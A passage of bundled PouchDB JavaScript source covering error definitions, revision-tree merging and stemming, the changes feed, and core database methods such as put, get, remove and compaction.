JSON object'); var DB_MISSING = new PouchError(404, 'not_found', 'Database not found'); var IDB_ERROR = new PouchError(500, 'indexed_db_went_bad', 'unknown'); var WSQ_ERROR = new PouchError(500, 'web_sql_went_bad', 'unknown'); var LDB_ERROR = new PouchError(500, 'levelDB_went_went_bad', 'unknown'); var FORBIDDEN = new PouchError(403, 'forbidden', 'Forbidden by design doc validate_doc_update function'); var INVALID_REV = new PouchError(400, 'bad_request', 'Invalid rev format'); var FILE_EXISTS = new PouchError(412, 'file_exists', 'The database could not be created, the file already exists.'); var MISSING_STUB = new PouchError(412, 'missing_stub', 'A pre-existing attachment stub wasn\'t found'); var INVALID_URL = new PouchError(413, 'invalid_url', 'Provided URL is invalid'); function createError(error, reason) { function CustomPouchError(reason) { // inherit error properties from our parent error manually // so as to allow proper JSON parsing. /* jshint ignore:start */ for (var p in error) { if (typeof error[p] !== 'function') { this[p] = error[p]; } } /* jshint ignore:end */ if (reason !== undefined) { this.reason = reason; } } CustomPouchError.prototype = PouchError.prototype; return new CustomPouchError(reason); } function generateErrorFromResponse(err) { if (typeof err !== 'object') { var data = err; err = UNKNOWN_ERROR; err.data = data; } if ('error' in err && err.error === 'conflict') { err.name = 'conflict'; err.status = 409; } if (!('name' in err)) { err.name = err.error || 'unknown'; } if (!('status' in err)) { err.status = 500; } if (!('message' in err)) { err.message = err.message || err.reason; } return err; } function tryFilter(filter, doc, req) { try { return !filter(doc, req); } catch (err) { var msg = 'Filter function threw: ' + err.toString(); return createError(BAD_REQUEST, msg); } } function filterChange(opts) { var req = {}; var hasFilter = opts.filter && typeof opts.filter === 'function'; req.query = opts.query_params; return function filter(change) { if (!change.doc) { // CSG sends events on the changes feed that don't have documents, // this hack makes a whole lot of existing code robust. change.doc = {}; } var filterReturn = hasFilter && tryFilter(opts.filter, change.doc, req); if (typeof filterReturn === 'object') { return filterReturn; } if (filterReturn) { return false; } if (!opts.include_docs) { delete change.doc; } else if (!opts.attachments) { for (var att in change.doc._attachments) { /* istanbul ignore else */ if (change.doc._attachments.hasOwnProperty(att)) { change.doc._attachments[att].stub = true; } } } return true; }; } function flatten(arrs) { var res = []; for (var i = 0, len = arrs.length; i < len; i++) { res = res.concat(arrs[i]); } return res; } // shim for Function.prototype.name, // for browsers that don't support it like IE /* istanbul ignore next */ function f() {} var hasName = f.name; var res; // We dont run coverage in IE /* istanbul ignore else */ if (hasName) { res = function (fun) { return fun.name; }; } else { res = function (fun) { return fun.toString().match(/^\s*function\s*(\S*)\s*\(/)[1]; }; } // Determine id an ID is valid // - invalid IDs begin with an underescore that does not begin '_design' or // '_local' // - any other string value is a valid id // Returns the specific error object for each case function invalidIdError(id) { var err; if (!id) { err = createError(MISSING_ID); } else if (typeof id !== 'string') { err = createError(INVALID_ID); } else if (/^_/.test(id) && !(/^_(design|local)/).test(id)) { err = createError(RESERVED_ID); } if (err) { throw err; } } // Checks if a PouchDB object is "remote" or not. This is // designed to opt-in to certain optimizations, such as // avoiding checks for "dependentDbs" and other things that // we know only apply to local databases. In general, "remote" // should be true for the http adapter, and for third-party // adapters with similar expensive boundaries to cross for // every API call, such as socket-pouch and worker-pouch. // Previously, this was handled via db.type() === 'http' // which is now deprecated. function isRemote(db) { if (typeof db._remote === 'boolean') { return db._remote; } /* istanbul ignore next */ if (typeof db.type === 'function') { guardedConsole('warn', 'db.type() is deprecated and will be removed in ' + 'a future version of PouchDB'); return db.type() === 'http'; } /* istanbul ignore next */ return false; } function listenerCount(ee, type) { return 'listenerCount' in ee ? ee.listenerCount(type) : events.EventEmitter.listenerCount(ee, type); } function parseDesignDocFunctionName(s) { if (!s) { return null; } var parts = s.split('/'); if (parts.length === 2) { return parts; } if (parts.length === 1) { return [s, s]; } return null; } function normalizeDesignDocFunctionName(s) { var normalized = parseDesignDocFunctionName(s); return normalized ? normalized.join('/') : null; } // originally parseUri 1.2.2, now patched by us // (c) Steven Levithan <stevenlevithan.com> // MIT License var keys = ["source", "protocol", "authority", "userInfo", "user", "password", "host", "port", "relative", "path", "directory", "file", "query", "anchor"]; var qName ="queryKey"; var qParser = /(?:^|&)([^&=]*)=?([^&]*)/g; // use the "loose" parser /* eslint maxlen: 0, no-useless-escape: 0 */ var parser = /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/; function parseUri(str) { var m = parser.exec(str); var uri = {}; var i = 14; while (i--) { var key = keys[i]; var value = m[i] || ""; var encoded = ['user', 'password'].indexOf(key) !== -1; uri[key] = encoded ? decodeURIComponent(value) : value; } uri[qName] = {}; uri[keys[12]].replace(qParser, function ($0, $1, $2) { if ($1) { uri[qName][$1] = $2; } }); return uri; } // Based on https://github.com/alexdavid/scope-eval v0.0.3 // (source: https://unpkg.com/[email protected]/scope_eval.js) // This is basically just a wrapper around new Function() function scopeEval(source, scope) { var keys = []; var values = []; for (var key in scope) { if (scope.hasOwnProperty(key)) { keys.push(key); values.push(scope[key]); } } keys.push(source); return Function.apply(null, keys).apply(null, values); } // this is essentially the "update sugar" function from daleharvey/pouchdb#1388 // the diffFun tells us what delta to apply to the doc. it either returns // the doc, or false if it doesn't need to do an update after all function upsert(db, docId, diffFun) { return new PouchPromise$1(function (fulfill, reject) { db.get(docId, function (err, doc) { if (err) { /* istanbul ignore next */ if (err.status !== 404) { return reject(err); } doc = {}; } // the user might change the _rev, so save it for posterity var docRev = doc._rev; var newDoc = diffFun(doc); if (!newDoc) { // if the diffFun returns falsy, we short-circuit as // an optimization return fulfill({updated: false, rev: docRev}); } // users aren't allowed to modify these values, // so reset them here newDoc._id = docId; newDoc._rev = docRev; fulfill(tryAndPut(db, newDoc, diffFun)); }); }); } function tryAndPut(db, doc, diffFun) { return db.put(doc).then(function (res) { return { updated: true, rev: res.rev }; }, function (err) { /* istanbul ignore next */ if (err.status !== 409) { throw err; } return upsert(db, doc._id, diffFun); }); } function rev() { return uuidV4.v4().replace(/-/g, '').toLowerCase(); } var uuid = uuidV4.v4; // We fetch all leafs of the revision tree, and sort them based on tree length // and whether they were deleted, undeleted documents with the longest revision // tree (most edits) win // The final sort algorithm is slightly documented in a sidebar here: // http://guide.couchdb.org/draft/conflicts.html function winningRev(metadata) { var winningId; var winningPos; var winningDeleted; var toVisit = metadata.rev_tree.slice(); var node; while ((node = toVisit.pop())) { var tree = node.ids; var branches = tree[2]; var pos = node.pos; if (branches.length) { // non-leaf for (var i = 0, len = branches.length; i < len; i++) { toVisit.push({pos: pos + 1, ids: branches[i]}); } continue; } var deleted = !!tree[1].deleted; var id = tree[0]; // sort by deleted, then pos, then id if (!winningId || (winningDeleted !== deleted ? winningDeleted : winningPos !== pos ? winningPos < pos : winningId < id)) { winningId = id; winningPos = pos; winningDeleted = deleted; } } return winningPos + '-' + winningId; } // Pretty much all below can be combined into a higher order function to // traverse revisions // The return value from the callback will be passed as context to all // children of that node function traverseRevTree(revs, callback) { var toVisit = revs.slice(); var node; while ((node = toVisit.pop())) { var pos = node.pos; var tree = node.ids; var branches = tree[2]; var newCtx = callback(branches.length === 0, pos, tree[0], node.ctx, tree[1]); for (var i = 0, len = branches.length; i < len; i++) { toVisit.push({pos: pos + 1, ids: branches[i], ctx: newCtx}); } } } function sortByPos(a, b) { return a.pos - b.pos; } function collectLeaves(revs) { var leaves = []; traverseRevTree(revs, function (isLeaf, pos, id, acc, opts) { if (isLeaf) { leaves.push({rev: pos + "-" + id, pos: pos, opts: opts}); } }); leaves.sort(sortByPos).reverse(); for (var i = 0, len = leaves.length; i < len; i++) { delete leaves[i].pos; } return leaves; } // returns revs of all conflicts that is leaves such that // 1. are not deleted and // 2. are different than winning revision function collectConflicts(metadata) { var win = winningRev(metadata); var leaves = collectLeaves(metadata.rev_tree); var conflicts = []; for (var i = 0, len = leaves.length; i < len; i++) { var leaf = leaves[i]; if (leaf.rev !== win && !leaf.opts.deleted) { conflicts.push(leaf.rev); } } return conflicts; } // compact a tree by marking its non-leafs as missing, // and return a list of revs to delete function compactTree(metadata) { var revs = []; traverseRevTree(metadata.rev_tree, function (isLeaf, pos, revHash, ctx, opts) { if (opts.status === 'available' && !isLeaf) { revs.push(pos + '-' + revHash); opts.status = 'missing'; } }); return revs; } // build up a list of all the paths to the leafs in this revision tree function rootToLeaf(revs) { var paths = []; var toVisit = revs.slice(); var node; while ((node = toVisit.pop())) { var pos = node.pos; var tree = node.ids; var id = tree[0]; var opts = tree[1]; var branches = tree[2]; var isLeaf = branches.length === 0; var history = node.history ? node.history.slice() : []; history.push({id: id, opts: opts}); if (isLeaf) { paths.push({pos: (pos + 1 - history.length), ids: history}); } for (var i = 0, len = branches.length; i < len; i++) { toVisit.push({pos: pos + 1, ids: branches[i], history: history}); } } return paths.reverse(); } // for a better overview of what this is doing, read: // https://github.com/apache/couchdb-couch/blob/master/src/couch_key_tree.erl // // But for a quick intro, CouchDB uses a revision tree to store a documents // history, A -> B -> C, when a document has conflicts, that is a branch in the // tree, A -> (B1 | B2 -> C), We store these as a nested array in the format // // KeyTree = [Path ... ] // Path = {pos: position_from_root, ids: Tree} // Tree = [Key, Opts, [Tree, ...]], in particular single node: [Key, []] function sortByPos$1(a, b) { return a.pos - b.pos; } // classic binary search function binarySearch(arr, item, comparator) { var low = 0; var high = arr.length; var mid; while (low < high) { mid = (low + high) >>> 1; if (comparator(arr[mid], item) < 0) { low = mid + 1; } else { high = mid; } } return low; } // assuming the arr is sorted, insert the item in the proper place function insertSorted(arr, item, comparator) { var idx = binarySearch(arr, item, comparator); arr.splice(idx, 0, item); } // Turn a path as a flat array into a tree with a single branch. // If any should be stemmed from the beginning of the array, that's passed // in as the second argument function pathToTree(path, numStemmed) { var root; var leaf; for (var i = numStemmed, len = path.length; i < len; i++) { var node = path[i]; var currentLeaf = [node.id, node.opts, []]; if (leaf) { leaf[2].push(currentLeaf); leaf = currentLeaf; } else { root = leaf = currentLeaf; } } return root; } // compare the IDs of two trees function compareTree(a, b) { return a[0] < b[0] ? -1 : 1; } // Merge two trees together // The roots of tree1 and tree2 must be the same revision function mergeTree(in_tree1, in_tree2) { var queue = [{tree1: in_tree1, tree2: in_tree2}]; var conflicts = false; while (queue.length > 0) { var item = queue.pop(); var tree1 = item.tree1; var tree2 = item.tree2; if (tree1[1].status || tree2[1].status) { tree1[1].status = (tree1[1].status === 'available' || tree2[1].status === 'available') ? 'available' : 'missing'; } for (var i = 0; i < tree2[2].length; i++) { if (!tree1[2][0]) { conflicts = 'new_leaf'; tree1[2][0] = tree2[2][i]; continue; } var merged = false; for (var j = 0; j < tree1[2].length; j++) { if (tree1[2][j][0] === tree2[2][i][0]) { queue.push({tree1: tree1[2][j], tree2: tree2[2][i]}); merged = true; } } if (!merged) { conflicts = 'new_branch'; insertSorted(tree1[2], tree2[2][i], compareTree); } } } return {conflicts: conflicts, tree: in_tree1}; } function doMerge(tree, path, dontExpand) { var restree = []; var conflicts = false; var merged = false; var res; if (!tree.length) { return {tree: [path], conflicts: 'new_leaf'}; } for (var i = 0, len = tree.length; i < len; i++) { var branch = tree[i]; if (branch.pos === path.pos && branch.ids[0] === path.ids[0]) { // Paths start at the same position and have the same root, so they need // merged res = mergeTree(branch.ids, path.ids); restree.push({pos: branch.pos, ids: res.tree}); conflicts = conflicts || res.conflicts; merged = true; } else if (dontExpand !== true) { // The paths start at a different position, take the earliest path and // traverse up until it as at the same point from root as the path we // want to merge. If the keys match we return the longer path with the // other merged After stemming we dont want to expand the trees var t1 = branch.pos < path.pos ? branch : path; var t2 = branch.pos < path.pos ? path : branch; var diff = t2.pos - t1.pos; var candidateParents = []; var trees = []; trees.push({ids: t1.ids, diff: diff, parent: null, parentIdx: null}); while (trees.length > 0) { var item = trees.pop(); if (item.diff === 0) { if (item.ids[0] === t2.ids[0]) { candidateParents.push(item); } continue; } var elements = item.ids[2]; for (var j = 0, elementsLen = elements.length; j < elementsLen; j++) { trees.push({ ids: elements[j], diff: item.diff - 1, parent: item.ids, parentIdx: j }); } } var el = candidateParents[0]; if (!el) { restree.push(branch); } else { res = mergeTree(el.ids, t2.ids); el.parent[2][el.parentIdx] = res.tree; restree.push({pos: t1.pos, ids: t1.ids}); conflicts = conflicts || res.conflicts; merged = true; } } else { restree.push(branch); } } // We didnt find if (!merged) { restree.push(path); } restree.sort(sortByPos$1); return { tree: restree, conflicts: conflicts || 'internal_node' }; } // To ensure we dont grow the revision tree infinitely, we stem old revisions function stem(tree, depth) { // First we break out the tree into a complete list of root to leaf paths var paths = rootToLeaf(tree); var stemmedRevs; var result; for (var i = 0, len = paths.length; i < len; i++) { // Then for each path, we cut off the start of the path based on the // `depth` to stem to, and generate a new set of flat trees var path = paths[i]; var stemmed = path.ids; var node; if (stemmed.length > depth) { // only do the stemming work if we actually need to stem if (!stemmedRevs) { stemmedRevs = {}; // avoid allocating this object unnecessarily } var numStemmed = stemmed.length - depth; node = { pos: path.pos + numStemmed, ids: pathToTree(stemmed, numStemmed) }; for (var s = 0; s < numStemmed; s++) { var rev = (path.pos + s) + '-' + stemmed[s].id; stemmedRevs[rev] = true; } } else { // no need to actually stem node = { pos: path.pos, ids: pathToTree(stemmed, 0) }; } // Then we remerge all those flat trees together, ensuring that we dont // connect trees that would go beyond the depth limit if (result) { result = doMerge(result, node, true).tree; } else { result = [node]; } } // this is memory-heavy per Chrome profiler, avoid unless we actually stemmed if (stemmedRevs) { traverseRevTree(result, function (isLeaf, pos, revHash) { // some revisions may have been removed in a branch but not in another delete stemmedRevs[pos + '-' + revHash]; }); } return { tree: result, revs: stemmedRevs ? Object.keys(stemmedRevs) : [] }; } function merge(tree, path, depth) { var newTree = doMerge(tree, path); var stemmed = stem(newTree.tree, depth); return { tree: stemmed.tree, stemmedRevs: stemmed.revs, conflicts: newTree.conflicts }; } // return true if a rev exists in the rev tree, false otherwise function revExists(revs, rev) { var toVisit = revs.slice(); var splitRev = rev.split('-'); var targetPos = parseInt(splitRev[0], 10); var targetId = splitRev[1]; var node; while ((node = toVisit.pop())) { if (node.pos === targetPos && node.ids[0] === targetId) { return true; } var branches = node.ids[2]; for (var i = 0, len = branches.length; i < len; i++) { toVisit.push({pos: node.pos + 1, ids: branches[i]}); } } return false; } function getTrees(node) { return node.ids; } // check if a specific revision of a doc has been deleted // - metadata: the metadata object from the doc store // - rev: (optional) the revision to check. defaults to winning revision function isDeleted(metadata, rev) { if (!rev) { rev = winningRev(metadata); } var id = rev.substring(rev.indexOf('-') + 1); var toVisit = metadata.rev_tree.map(getTrees); var tree; while ((tree = toVisit.pop())) { if (tree[0] === id) { return !!tree[1].deleted; } toVisit = toVisit.concat(tree[2]); } } function isLocalId(id) { return (/^_local/).test(id); } // returns the current leaf node for a given revision function latest(rev, metadata) { var toVisit = metadata.rev_tree.slice(); var node; while ((node = toVisit.pop())) { var pos = node.pos; var tree = node.ids; var id = tree[0]; var opts = tree[1]; var branches = tree[2]; var isLeaf = branches.length === 0; var history = node.history ? node.history.slice() : []; history.push({id: id, pos: pos, opts: opts}); if (isLeaf) { for (var i = 0, len = history.length; i < len; i++) { var historyNode = history[i]; var historyRev = historyNode.pos + '-' + historyNode.id; if (historyRev === rev) { // return the rev of this leaf return pos + '-' + id; } } } for (var j = 0, l = branches.length; j < l; j++) { toVisit.push({pos: pos + 1, ids: branches[j], history: history}); } } /* istanbul ignore next */ throw new Error('Unable to resolve latest revision for id ' + metadata.id + ', rev ' + rev); } inherits(Changes$2, events.EventEmitter); function tryCatchInChangeListener(self, change) { // isolate try/catches to avoid V8 deoptimizations try { self.emit('change', change); } catch (e) { guardedConsole('error', 'Error in .on("change", function):', e); } } function Changes$2(db, opts, callback) { events.EventEmitter.call(this); var self = this; this.db = db; opts = opts ? clone(opts) : {}; var complete = opts.complete = once(function (err, resp) { if (err) { if (listenerCount(self, 'error') > 0) { self.emit('error', err); } } else { self.emit('complete', resp); } self.removeAllListeners(); db.removeListener('destroyed', onDestroy); }); if (callback) { self.on('complete', function (resp) { callback(null, resp); }); self.on('error', callback); } function onDestroy() { self.cancel(); } db.once('destroyed', onDestroy); opts.onChange = function (change) { /* istanbul ignore if */ if (self.isCancelled) { return; } tryCatchInChangeListener(self, change); }; var promise = new PouchPromise$1(function (fulfill, reject) { opts.complete = function (err, res) { if (err) { reject(err); } else { fulfill(res); } }; }); self.once('cancel', function () { db.removeListener('destroyed', onDestroy); opts.complete(null, {status: 'cancelled'}); }); this.then = promise.then.bind(promise); this['catch'] = promise['catch'].bind(promise); this.then(function (result) { complete(null, result); }, complete); if (!db.taskqueue.isReady) { db.taskqueue.addTask(function (failed) { if (failed) { opts.complete(failed); } else if (self.isCancelled) { self.emit('cancel'); } else { self.validateChanges(opts); } }); } else { self.validateChanges(opts); } } Changes$2.prototype.cancel = function () { this.isCancelled = true; if (this.db.taskqueue.isReady) { this.emit('cancel'); } }; function processChange(doc, metadata, opts) { var changeList = [{rev: doc._rev}]; if (opts.style === 'all_docs') { changeList = collectLeaves(metadata.rev_tree) .map(function (x) { return {rev: x.rev}; }); } var change = { id: metadata.id, changes: changeList, doc: doc }; if (isDeleted(metadata, doc._rev)) { change.deleted = true; } if (opts.conflicts) { change.doc._conflicts = collectConflicts(metadata); if (!change.doc._conflicts.length) { delete change.doc._conflicts; } } return change; } Changes$2.prototype.validateChanges = function (opts) { var callback = opts.complete; var self = this; /* istanbul ignore else */ if (PouchDB$5._changesFilterPlugin) { PouchDB$5._changesFilterPlugin.validate(opts, function (err) { if (err) { return callback(err); } self.doChanges(opts); }); } else { self.doChanges(opts); } }; Changes$2.prototype.doChanges = function (opts) { var self = this; var callback = opts.complete; opts = clone(opts); if ('live' in opts && !('continuous' in opts)) { opts.continuous = opts.live; } opts.processChange = processChange; if (opts.since === 'latest') { opts.since = 'now'; } if (!opts.since) { opts.since = 0; } if (opts.since === 'now') { this.db.info().then(function (info) { /* istanbul ignore if */ if (self.isCancelled) { callback(null, {status: 'cancelled'}); return; } opts.since = info.update_seq; self.doChanges(opts); }, callback); return; } /* istanbul ignore else */ if (PouchDB$5._changesFilterPlugin) { PouchDB$5._changesFilterPlugin.normalize(opts); if (PouchDB$5._changesFilterPlugin.shouldFilter(this, opts)) { return PouchDB$5._changesFilterPlugin.filter(this, opts); } } else { ['doc_ids', 'filter', 'selector', 'view'].forEach(function (key) { if (key in opts) { guardedConsole('warn', 'The "' + key + '" option was passed in to changes/replicate, ' + 'but pouchdb-changes-filter plugin is not installed, so it ' + 'was ignored. Please install the plugin to enable filtering.' ); } }); } if (!('descending' in opts)) { opts.descending = false; } // 0 and 1 should return 1 document opts.limit = opts.limit === 0 ? 1 : opts.limit; opts.complete = callback; var newPromise = this.db._changes(opts); /* istanbul ignore else */ if (newPromise && typeof newPromise.cancel === 'function') { var cancel = self.cancel; self.cancel = getArguments(function (args) { newPromise.cancel(); cancel.apply(this, args); }); } }; /* * A generic pouch adapter */ function compare(left, right) { return left < right ? -1 : left > right ? 1 : 0; } // Wrapper for functions that call the bulkdocs api with a single doc, // if the first result is an error, return an error function yankError(callback, docId) { return function (err, results) { if (err || (results[0] && results[0].error)) { err = err || results[0]; err.docId = docId; callback(err); } else { callback(null, results.length ? results[0] : results); } }; } // clean docs given to us by the user function cleanDocs(docs) { for (var i = 0; i < docs.length; i++) { var doc = docs[i]; if (doc._deleted) { delete doc._attachments; // ignore atts for deleted docs } else if (doc._attachments) { // filter out extraneous keys from _attachments var atts = Object.keys(doc._attachments); for (var j = 0; j < atts.length; j++) { var att = atts[j]; doc._attachments[att] = pick(doc._attachments[att], ['data', 'digest', 'content_type', 'length', 'revpos', 'stub']); } } } } // compare two docs, first by _id then by _rev function compareByIdThenRev(a, b) { var idCompare = compare(a._id, b._id); if (idCompare !== 0) { return idCompare; } var aStart = a._revisions ? a._revisions.start : 0; var bStart = b._revisions ? b._revisions.start : 0; return compare(aStart, bStart); } // for every node in a revision tree computes its distance from the closest // leaf function computeHeight(revs) { var height = {}; var edges = []; traverseRevTree(revs, function (isLeaf, pos, id, prnt) { var rev$$1 = pos + "-" + id; if (isLeaf) { height[rev$$1] = 0; } if (prnt !== undefined) { edges.push({from: prnt, to: rev$$1}); } return rev$$1; }); edges.reverse(); edges.forEach(function (edge) { if (height[edge.from] === undefined) { height[edge.from] = 1 + height[edge.to]; } else { height[edge.from] = Math.min(height[edge.from], 1 + height[edge.to]); } }); return height; } function allDocsKeysQuery(api, opts, callback) { var keys = ('limit' in opts) ? opts.keys.slice(opts.skip, opts.limit + opts.skip) : (opts.skip > 0) ? opts.keys.slice(opts.skip) : opts.keys; if (opts.descending) { keys.reverse(); } if (!keys.length) { return api._allDocs({limit: 0}, callback); } var finalResults = { offset: opts.skip }; return PouchPromise$1.all(keys.map(function (key) { var subOpts = $inject_Object_assign({key: key, deleted: 'ok'}, opts); ['limit', 'skip', 'keys'].forEach(function (optKey) { delete subOpts[optKey]; }); return new PouchPromise$1(function (resolve, reject) { api._allDocs(subOpts, function (err, res) { /* istanbul ignore if */ if (err) { return reject(err); } finalResults.total_rows = res.total_rows; resolve(res.rows[0] || {key: key, error: 'not_found'}); }); }); })).then(function (results) { finalResults.rows = results; return finalResults; }); } // all compaction is done in a queue, to avoid attaching // too many listeners at once function doNextCompaction(self) { var task = self._compactionQueue[0]; var opts = task.opts; var callback = task.callback; self.get('_local/compaction').catch(function () { return false; }).then(function (doc) { if (doc && doc.last_seq) { opts.last_seq = doc.last_seq; } self._compact(opts, function (err, res) { /* istanbul ignore if */ if (err) { callback(err); } else { callback(null, res); } nextTick(function () { self._compactionQueue.shift(); if (self._compactionQueue.length) { doNextCompaction(self); } }); }); }); } function attachmentNameError(name) { if (name.charAt(0) === '_') { return name + ' is not a valid attachment name, attachment ' + 'names cannot start with \'_\''; } return false; } inherits(AbstractPouchDB, events.EventEmitter); function AbstractPouchDB() { events.EventEmitter.call(this); } AbstractPouchDB.prototype.post = adapterFun('post', function (doc, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } if (typeof doc !== 'object' || Array.isArray(doc)) { return callback(createError(NOT_AN_OBJECT)); } this.bulkDocs({docs: [doc]}, opts, yankError(callback, doc._id)); }); AbstractPouchDB.prototype.put = adapterFun('put', function (doc, opts, cb) { if (typeof opts === 'function') { cb = opts; opts = {}; } if (typeof doc !== 'object' || Array.isArray(doc)) { return cb(createError(NOT_AN_OBJECT)); } invalidIdError(doc._id); if (isLocalId(doc._id) && typeof this._putLocal === 'function') { if (doc._deleted) { return this._removeLocal(doc, cb); } else { return this._putLocal(doc, cb); } } var self = this; if (opts.force && doc._rev) { transformForceOptionToNewEditsOption(); putDoc(function (err) { var result = err ? null : {ok: true, id: doc._id, rev: doc._rev}; cb(err, result); }); } else { putDoc(cb); } function transformForceOptionToNewEditsOption() { var parts = doc._rev.split('-'); var oldRevId = parts[1]; var oldRevNum = parseInt(parts[0], 10); var newRevNum = oldRevNum + 1; var newRevId = rev(); doc._revisions = { start: newRevNum, ids: [newRevId, oldRevId] }; doc._rev = newRevNum + '-' + newRevId; opts.new_edits = false; } function putDoc(next) { if (typeof self._put === 'function' && opts.new_edits !== false) { self._put(doc, opts, next); } else { self.bulkDocs({docs: [doc]}, opts, yankError(next, doc._id)); } } }); AbstractPouchDB.prototype.putAttachment = adapterFun('putAttachment', function (docId, attachmentId, rev$$1, blob, type) { var api = this; if (typeof type === 'function') { type = blob; blob = rev$$1; rev$$1 = null; } // Lets fix in https://github.com/pouchdb/pouchdb/issues/3267 /* istanbul ignore if */ if (typeof type === 'undefined') { type = blob; blob = rev$$1; rev$$1 = null; } if (!type) { guardedConsole('warn', 'Attachment', attachmentId, 'on document', docId, 'is missing content_type'); } function createAttachment(doc) { var prevrevpos = '_rev' in doc ? parseInt(doc._rev, 10) : 0; doc._attachments = doc._attachments || {}; doc._attachments[attachmentId] = { content_type: type, data: blob, revpos: ++prevrevpos }; return api.put(doc); } return api.get(docId).then(function (doc) { if (doc._rev !== rev$$1) { throw createError(REV_CONFLICT); } return createAttachment(doc); }, function (err) { // create new doc /* istanbul ignore else */ if (err.reason === MISSING_DOC.message) { return createAttachment({_id: docId}); } else { throw err; } }); }); AbstractPouchDB.prototype.removeAttachment = adapterFun('removeAttachment', function (docId, attachmentId, rev$$1, callback) { var self = this; self.get(docId, function (err, obj) { /* istanbul ignore if */ if (err) { callback(err); return; } if (obj._rev !== rev$$1) { callback(createError(REV_CONFLICT)); return; } /* istanbul ignore if */ if (!obj._attachments) { return callback(); } delete obj._attachments[attachmentId]; if (Object.keys(obj._attachments).length === 0) { delete obj._attachments; } self.put(obj, callback); }); }); AbstractPouchDB.prototype.remove = adapterFun('remove', function (docOrId, optsOrRev, opts, callback) { var doc; if (typeof optsOrRev === 'string') { // id, rev, opts, callback style doc = { _id: docOrId, _rev: optsOrRev }; if (typeof opts === 'function') { callback = opts; opts = {}; } } else { // doc, opts, callback style doc = docOrId; if (typeof optsOrRev === 'function') { callback = optsOrRev; opts = {}; } else { callback = opts; opts = optsOrRev; } } opts = opts || {}; opts.was_delete = true; var newDoc = {_id: doc._id, _rev: (doc._rev || opts.rev)}; newDoc._deleted = true; if (isLocalId(newDoc._id) && typeof this._removeLocal === 'function') { return this._removeLocal(doc, callback); } this.bulkDocs({docs: [newDoc]}, opts, yankError(callback, newDoc._id)); }); AbstractPouchDB.prototype.revsDiff = adapterFun('revsDiff', function (req, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } var ids = Object.keys(req); if (!ids.length) { return callback(null, {}); } var count = 0; var missing = new ExportedMap(); function addToMissing(id, revId) { if (!missing.has(id)) { missing.set(id, {missing: []}); } missing.get(id).missing.push(revId); } function processDoc(id, rev_tree) { // Is this fast enough? Maybe we should switch to a set simulated by a map var missingForId = req[id].slice(0); traverseRevTree(rev_tree, function (isLeaf, pos, revHash, ctx, opts) { var rev$$1 = pos + '-' + revHash; var idx = missingForId.indexOf(rev$$1); if (idx === -1) { return; } missingForId.splice(idx, 1); /* istanbul ignore if */ if (opts.status !== 'available') { addToMissing(id, rev$$1); } }); // Traversing the tree is synchronous, so now `missingForId` contains // revisions that were not found in the tree missingForId.forEach(function (rev$$1) { addToMissing(id, rev$$1); }); } ids.map(function (id) { this._getRevisionTree(id, function (err, rev_tree) { if (err && err.status === 404 && err.message === 'missing') { missing.set(id, {missing: req[id]}); } else if (err) { /* istanbul ignore next */ return callback(err); } else { processDoc(id, rev_tree); } if (++count === ids.length) { // convert LazyMap to object var missingObj = {}; missing.forEach(function (value, key) { missingObj[key] = value; }); return callback(null, missingObj); } }); }, this); }); // _bulk_get API for faster replication, as described in // https://github.com/apache/couchdb-chttpd/pull/33 // At the "abstract" level, it will just run multiple get()s in // parallel, because this isn't much of a performance cost // for local databases (except the cost of multiple transactions, which is // small). The http adapter overrides this in order // to do a more efficient single HTTP request. AbstractPouchDB.prototype.bulkGet = adapterFun('bulkGet', function (opts, callback) { bulkGet(this, opts, callback); }); // compact one document and fire callback // by compacting we mean removing all revisions which // are further from the leaf in revision tree than max_height AbstractPouchDB.prototype.compactDocument = adapterFun('compactDocument', function (docId, maxHeight, callback) { var self = this; this._getRevisionTree(docId, function (err, revTree) { /* istanbul ignore if */ if (err) { return callback(err); } var height = computeHeight(revTree); var candidates = []; var revs = []; Object.keys(height).forEach(function (rev$$1) { if (height[rev$$1] > maxHeight) { candidates.push(rev$$1); } }); traverseRevTree(revTree, function (isLeaf, pos, revHash, ctx, opts) { var rev$$1 = pos + '-' + revHash; if (opts.status === 'available' && candidates.indexOf(rev$$1) !== -1) { revs.push(rev$$1); } }); self._doCompaction(docId, revs, callback); }); }); // compact the whole database using single document // compaction AbstractPouchDB.prototype.compact = adapterFun('compact', function (opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } var self = this; opts = opts || {}; self._compactionQueue = self._compactionQueue || []; self._compactionQueue.push({opts: opts, callback: callback}); if (self._compactionQueue.length === 1) { doNextCompaction(self); } }); AbstractPouchDB.prototype._compact = function (opts, callback) { var self = this; var changesOpts = { return_docs: false, last_seq: opts.last_seq || 0 }; var promises = []; function onChange(row) { promises.push(self.compactDocument(row.id, 0)); } function onComplete(resp) { var lastSeq = resp.last_seq; PouchPromise$1.all(promises).then(function () { return upsert(self, '_local/compaction', function deltaFunc(doc) { if (!doc.last_seq || doc.last_seq < lastSeq) { doc.last_seq = lastSeq; return doc; } return false; // somebody else got here first, don't update }); }).then(function () { callback(null, {ok: true}); }).catch(callback); } self.changes(changesOpts) .on('change', onChange) .on('complete', onComplete) .on('error', callback); }; /* Begin api wrappers. Specific functionality to storage belongs in the _[method] */ AbstractPouchDB.prototype.get = adapterFun('get', function (id, opts, cb) { if (typeof opts === 'function') { cb = opts; opts = {}; } if (typeof id !== 'string') { return cb(createError(INVALID_ID)); } if (isLocalId(id) && typeof this._getLocal === 'function') { return this._getLocal(id, cb); } var leaves = [], self = this; function finishOpenRevs() { var result = []; var count = leaves.length; /* istanbul ignore if */ if (!count) { return cb(null, result); } // order with open_revs is unspecified leaves.forEach(function (leaf) { self.get(id, { rev: leaf, revs: opts.revs, latest: opts.latest, attachments: opts.attachments }, function (err, doc) { if (!err) { // using latest=true can produce duplicates var existing; for (var i = 0, l = result.length; i < l; i++) { if (result[i].ok && result[i].ok._rev === doc._rev) { existing = true; break; } } if (!existing) { result.push({ok: doc}); } } else { result.push({missing: leaf}); } count--; if (!count) { cb(null, result); } }); }); } if (opts.open_revs) { if (opts.open_revs === "all") { this._getRevisionTree(id, function (err, rev_tree) { if (err) { return cb(err); } leaves = collectLeaves(rev_tree).map(function 